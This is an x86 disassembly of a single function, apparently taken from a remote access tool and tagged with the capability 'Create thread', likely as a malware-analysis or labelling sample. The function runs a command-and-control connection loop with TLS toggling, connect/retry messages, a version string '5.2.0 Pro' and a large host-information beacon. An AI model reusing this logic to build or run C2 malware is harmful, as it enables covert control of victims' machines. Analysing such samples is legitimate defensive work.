Function at 0x414f65
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa2c
lea ecx, [ebp - 0x60]
push ebx
push esi
push edi
call fcn.004020df
lea ecx, [ebp - 0x114]
call fcn.0041b944
lea ecx, [ebp - 0x63c]
call fcn.004020df
mov edi, 0x4750f4
push 0x29
mov ecx, edi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043bb2c
pop ecx
test eax, eax
je 0x414fbc
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
mov ecx, esp
push 0x46c678
call fcn.00402093
push 0
mov ecx, edi
call fcn.00401e65
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020f6
lea ecx, [ebp - 0x48]
call fcn.0041beac
add esp, 0x30
xor ebx, ebx
call fcn.0040489e
push 0x38
mov ecx, edi
call fcn.00401e65
mov edx, 0x4660b4
mov ecx, eax
call fcn.0040b9f8
test al, al
je 0x41507c
push 0x38
mov ecx, edi
call fcn.00401e65
mov ecx, eax
call fcn.0040247c
push eax
push 0x38
mov ecx, edi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
push 0x37
mov ecx, edi
call fcn.00401e65
mov ecx, eax
call fcn.0040247c
push eax
push 0x37
mov ecx, edi
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
push 0x36
mov ecx, edi
call fcn.00401e65
mov ecx, eax
call fcn.0040247c
push 0x36
mov ecx, edi
mov esi, eax
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov edx, esi
mov ecx, eax
call fcn.0040473d
add esp, 0x10
sub esp, 0x18
mov byte [0x4755d9], 1
mov ecx, esp
push 0x46c67c
call fcn.00402093
push ebx
lea ecx, [ebp - 0x48]
call fcn.00401e65
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020f6
lea ecx, [ebp - 0xc]
call fcn.0041beac
add esp, 0x30
lea ecx, [ebp - 0xc]
push 1
call fcn.00401e65
push eax
push 0x46c67c
push 0
lea ecx, [ebp - 0xc]
call fcn.00401e65
mov edx, eax
lea ecx, [ebp - 0x3c]
call fcn.00406c59
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00402f10
pop ecx
push eax
mov ecx, 0x4755dc
call fcn.00401fe2
lea ecx, [ebp - 0x24]
call fcn.00401fd8
lea ecx, [ebp - 0x3c]
call fcn.00401fd8
push 2
lea ecx, [ebp - 0xc]
call fcn.00401e65
mov edx, 0x46612c
mov ecx, eax
call fcn.00405b05
lea ecx, [ebp - 0x60]
test al, al
je 0x415127
mov byte [0x472ada], 0
push str.TLS_Off
jmp 0x415133
mov byte [0x472ada], 1
push str.TLS_On
call fcn.00405aa6
sub esp, 0x18
lea eax, [ebp - 0x60]
mov esi, esp
lea ecx, [ebp - 0x3c]
mov edx, str.Connecting__
push 0x4755dc
push 0x46c690
push eax
call fcn.0040531e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00406383
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402f10
sub esp, 0x14
mov ecx, esp
push 0x465fb4
call fcn.00402093
call fcn.0041b580
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.00401fd8
lea ecx, [ebp - 0x3c]
call fcn.00401fd8
push ecx
push ecx
push 1
lea ecx, [ebp - 0xc]
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push 0
lea ecx, [ebp - 0xc]
mov esi, eax
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov edx, esi
mov ecx, eax
call fcn.00414f24
test eax, eax
je 0x415210
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.0041cb72
sub esp, 0x18
mov edx, str.Connection_Error:
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465f18
call fcn.00402093
call fcn.0041b580
add esp, 0x30
lea ecx, [ebp - 0x24]
call fcn.00401fd8
mov esi, 0x4755a8
jmp 0x415ade
mov esi, 0x4755a8
mov ecx, esi
call fcn.0040482d
test al, al
jne 0x41524b
sub esp, 0x18
mov ecx, esp
push str.Connection_Error:_Unable_to_create_socket
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465f18
call fcn.00402093
call fcn.0041b580
add esp, 0x30
jmp 0x415ade
push 0
push 0x3c
mov ecx, esi
call fcn.00404f51
push ecx
mov ecx, esi
call fcn.004048c8
test al, al
je 0x415ade
push 1
lea ecx, [ebp - 0xc]
call fcn.00401e65
sub esp, 0x18
lea ecx, [ebp - 0xc]
mov esi, esp
push eax
push 0x46c67c
push 0
call fcn.00401e65
push eax
lea eax, [ebp - 0x60]
mov edx, str.Connected___
push 0x46c690
push eax
lea ecx, [ebp - 0xfc]
call fcn.0040531e
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00406383
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402f10
sub esp, 0x14
mov ecx, esp
push 0x465fb4
call fcn.00402093
call fcn.0041b580
add esp, 0x30
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea ecx, [ebp - 0xcc]
call fcn.00401fd8
lea ecx, [ebp - 0xe4]
call fcn.00401fd8
lea ecx, [ebp - 0xfc]
call fcn.00401fd8
mov byte [ebp - 0x9c], 0
lea edi, [ebp - 0x9b]
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0041b871
push edx
push eax
lea eax, [ebp - 0x9c]
push str._I64u
push eax
call fcn.004145f8
add esp, 0x10
lea ecx, [ebp - 0x24]
push 0x475168
call fcn.00409097
push 0xa
lea eax, [ebp - 0x84]
push eax
push dword [0x4719d0]
call fcn.00441ed1
add esp, 0xc
mov ecx, 0x4750f4
push 1
call fcn.00401e65
push eax
lea ecx, [ebp - 0xb4]
call fcn.004020f6
mov esi, 0x475348
mov ecx, esi
call fcn.0040247c
push eax
mov ecx, esi
call fcn.00401fab
push eax
push 0x104
lea eax, [ebp - 0xa28]
mov esi, 0x475300
push eax
push str.name
mov ecx, esi
call fcn.00401fab
mov edx, eax
call fcn.00413733
add esp, 0x14
test al, al
je 0x4153cd
lea eax, [ebp - 0xa28]
push eax
lea ecx, [ebp - 0xb4]
call fcn.00405aa6
push ecx
push str.hlight
mov ecx, esi
call fcn.00401fab
push eax
mov edx, closesocket
lea ecx, [ebp - 0x3c]
call fcn.004135e1
mov eax, dword [0x472d68]
add esp, 0xc
xor edi, edi
test eax, eax
je 0x4153fb
call eax
movzx edi, ax
push 0x472b50
lea ecx, [ebp - 0x78]
call fcn.0040417e
call fcn.0040ddc4
mov edx, eax
lea ecx, [ebp - 0x624]
call fcn.0041bcd3
sub esp, 0x18
mov ecx, 0x474ef0
mov esi, esp
mov edx, 0x4752e8
push eax
push ecx
lea eax, [ebp - 0x3c]
push eax
push ecx
push 0x475390
push ecx
lea eax, [ebp - 0x114]
push eax
push ecx
lea ecx, [ebp - 0x60c]
call fcn.0041bdaf
push eax
push 0x474ef0
movzx edx, di
lea ecx, [ebp - 0x5f4]
call fcn.0041bc1f
push eax
mov edi, 0x474ef0
lea ecx, [ebp - 0xc]
push edi
push 0x475330
push edi
push 0
call fcn.00401e65
push eax
push edi
lea eax, [ebp - 0x84]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
lea ecx, [ebp - 0x5dc]
call fcn.0041bc1f
push eax
push edi
call fcn.0041bb77
mov edx, eax
lea ecx, [ebp - 0x5c4]
call fcn.0041bc1f
mov edx, dword [0x47514c]
lea ecx, [ebp - 0x5ac]
push eax
push edi
call fcn.0041bc1f
push eax
push edi
lea ecx, [ebp - 0x594]
call fcn.0041bb27
mov edx, eax
lea ecx, [ebp - 0x57c]
call fcn.0041bdaf
push eax
push edi
mov edx, 0x474d74
lea ecx, [ebp - 0x564]
call fcn.0041bdaf
push eax
push edi
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x54c]
call fcn.0041bdaf
push eax
push edi
lea edx, [ebp - 0x24]
lea ecx, [ebp - 0x534]
call fcn.0041bdaf
push eax
push edi
push str.5.2.0_Pro
push edi
lea eax, [ebp - 0x9c]
mov edx, 0x4756d8
push eax
push edi
lea ecx, [ebp - 0x51c]
call fcn.0041bdaf
push eax
push edi
push 0x475a10
push edi
lea ecx, [ebp - 0x504]
call fcn.0040f90c
push eax
push edi
mov edx, 0x475360
lea ecx, [ebp - 0x4ec]
call fcn.0041bdaf
push eax
push edi
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x4d4]
call fcn.00402f31
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4bc]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x4a4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x474]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x45c]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x444]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x42c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x414]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3fc]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3e4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3cc]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [ebp - 0x3b4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x39c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x384]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x36c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x354]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x33c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x324]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2f4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2dc]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2c4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x2ac]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x294]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x27c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x264]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x24c]
call fcn.00406383
pop ecx
mov edx, eax
lea ecx, [ebp - 0x234]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x21c]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x204]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1ec]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1d4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1bc]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1a4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x18c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [ebp - 0x174]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x15c]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x144]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0x12c]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0xcc]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0xe4]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [ebp - 0xfc]
call fcn.00402f10
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00402ea1
pop ecx
mov esi, 0x4755a8
push 0x4b
mov ecx, esi
call fcn.00404aa1
lea ecx, [ebp - 0xfc]
call fcn.00401fd8
lea ecx, [ebp - 0xe4]
call fcn.00401fd8
lea ecx, [ebp - 0xcc]
call fcn.00401fd8
lea ecx, [ebp - 0x12c]
call fcn.00401fd8
lea ecx, [ebp - 0x144]
call fcn.00401fd8
lea ecx, [ebp - 0x15c]
call fcn.00401fd8
lea ecx, [ebp - 0x174]
call fcn.00401fd8
lea ecx, [ebp - 0x18c]
call fcn.00401fd8
lea ecx, [ebp - 0x1a4]
call fcn.00401fd8
lea ecx, [ebp - 0x1bc]
call fcn.00401fd8
lea ecx, [ebp - 0x1d4]
call fcn.00401fd8
lea ecx, [ebp - 0x1ec]
call fcn.00401fd8
lea ecx, [ebp - 0x204]
call fcn.00401fd8
lea ecx, [ebp - 0x21c]
call fcn.00401fd8
lea ecx, [ebp - 0x234]
call fcn.00401fd8
lea ecx, [ebp - 0x24c]
call fcn.00401fd8
lea ecx, [ebp - 0x264]
call fcn.00401fd8
lea ecx, [ebp - 0x27c]
call fcn.00401fd8
lea ecx, [ebp - 0x294]
call fcn.00401fd8
lea ecx, [ebp - 0x2ac]
call fcn.00401fd8
lea ecx, [ebp - 0x2c4]
call fcn.00401fd8
lea ecx, [ebp - 0x2dc]
call fcn.00401fd8
lea ecx, [ebp - 0x2f4]
call fcn.00401fd8
lea ecx, [ebp - 0x30c]
call fcn.00401fd8
lea ecx, [ebp - 0x324]
call fcn.00401fd8
lea ecx, [ebp - 0x33c]
call fcn.00401fd8
lea ecx, [ebp - 0x354]
call fcn.00401fd8
lea ecx, [ebp - 0x36c]
call fcn.00401fd8
lea ecx, [ebp - 0x384]
call fcn.00401fd8
lea ecx, [ebp - 0x39c]
call fcn.00401fd8
lea ecx, [ebp - 0x3b4]
call fcn.00401fd8
lea ecx, [ebp - 0x3cc]
call fcn.00401fd8
lea ecx, [ebp - 0x3e4]
call fcn.00401fd8
lea ecx, [ebp - 0x3fc]
call fcn.00401fd8
lea ecx, [ebp - 0x414]
call fcn.00401fd8
lea ecx, [ebp - 0x42c]
call fcn.00401fd8
lea ecx, [ebp - 0x444]
call fcn.00401fd8
lea ecx, [ebp - 0x45c]
call fcn.00401fd8
lea ecx, [ebp - 0x474]
call fcn.00401fd8
lea ecx, [ebp - 0x48c]
call fcn.00401fd8
lea ecx, [ebp - 0x4a4]
call fcn.00401fd8
lea ecx, [ebp - 0x4bc]
call fcn.00401fd8
lea ecx, [ebp - 0x4d4]
call fcn.00401fd8
lea ecx, [ebp - 0x4ec]
call fcn.00401fd8
lea ecx, [ebp - 0x504]
call fcn.00401fd8
lea ecx, [ebp - 0x51c]
call fcn.00401fd8
lea ecx, [ebp - 0x534]
call fcn.00401fd8
lea ecx, [ebp - 0x54c]
call fcn.00401fd8
lea ecx, [ebp - 0x564]
call fcn.00401fd8
lea ecx, [ebp - 0x57c]
call fcn.00401fd8
lea ecx, [ebp - 0x594]
call fcn.00401f09
lea ecx, [ebp - 0x5ac]
call fcn.00401fd8
lea ecx, [ebp - 0x5c4]
call fcn.00401fd8
lea ecx, [ebp - 0x5dc]
call fcn.00401fd8
lea ecx, [ebp - 0x5f4]
call fcn.00401fd8
lea ecx, [ebp - 0x60c]
call fcn.00401fd8
lea ecx, [ebp - 0x624]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401f09
push 1
push 0x415b25
mov ecx, esi
call fcn.00404c10
mov eax, dword [0x472d6c]
test eax, eax
je 0x415a65
cmp byte [0x472d70], 0
je 0x415a65
call eax
mov byte [0x472d70], 0
cmp byte [0x47514a], 0
je 0x415a78
mov ecx, 0x475100
call fcn.0040b08c
call fcn.00405a6b
sub esp, 0x18
mov ecx, esp
push str.Disconnected
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x466070
call fcn.00402093
call fcn.0041b580
add esp, 0x30
cmp byte [0x474ae5], 0
je 0x415abe
xor eax, eax
push eax
push eax
push eax
push fcn.0041ada8
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x3c]
call fcn.00401fd8
lea ecx, [ebp - 0xb4]
call fcn.00401fd8
lea ecx, [ebp - 0x24]
call fcn.00401f09
mov edi, 0x4750f4
mov ecx, esi
call fcn.00404e26
lea ecx, [ebp - 0x48]
inc ebx
call fcn.004021fa
cmp ebx, eax
jb 0x415b18
push 2
mov ecx, edi
xor ebx, ebx
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
push eax
call fcn.0043bb2c
imul eax, eax, 0x3e8
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xc]
call fcn.00401e8d
jmp 0x41507c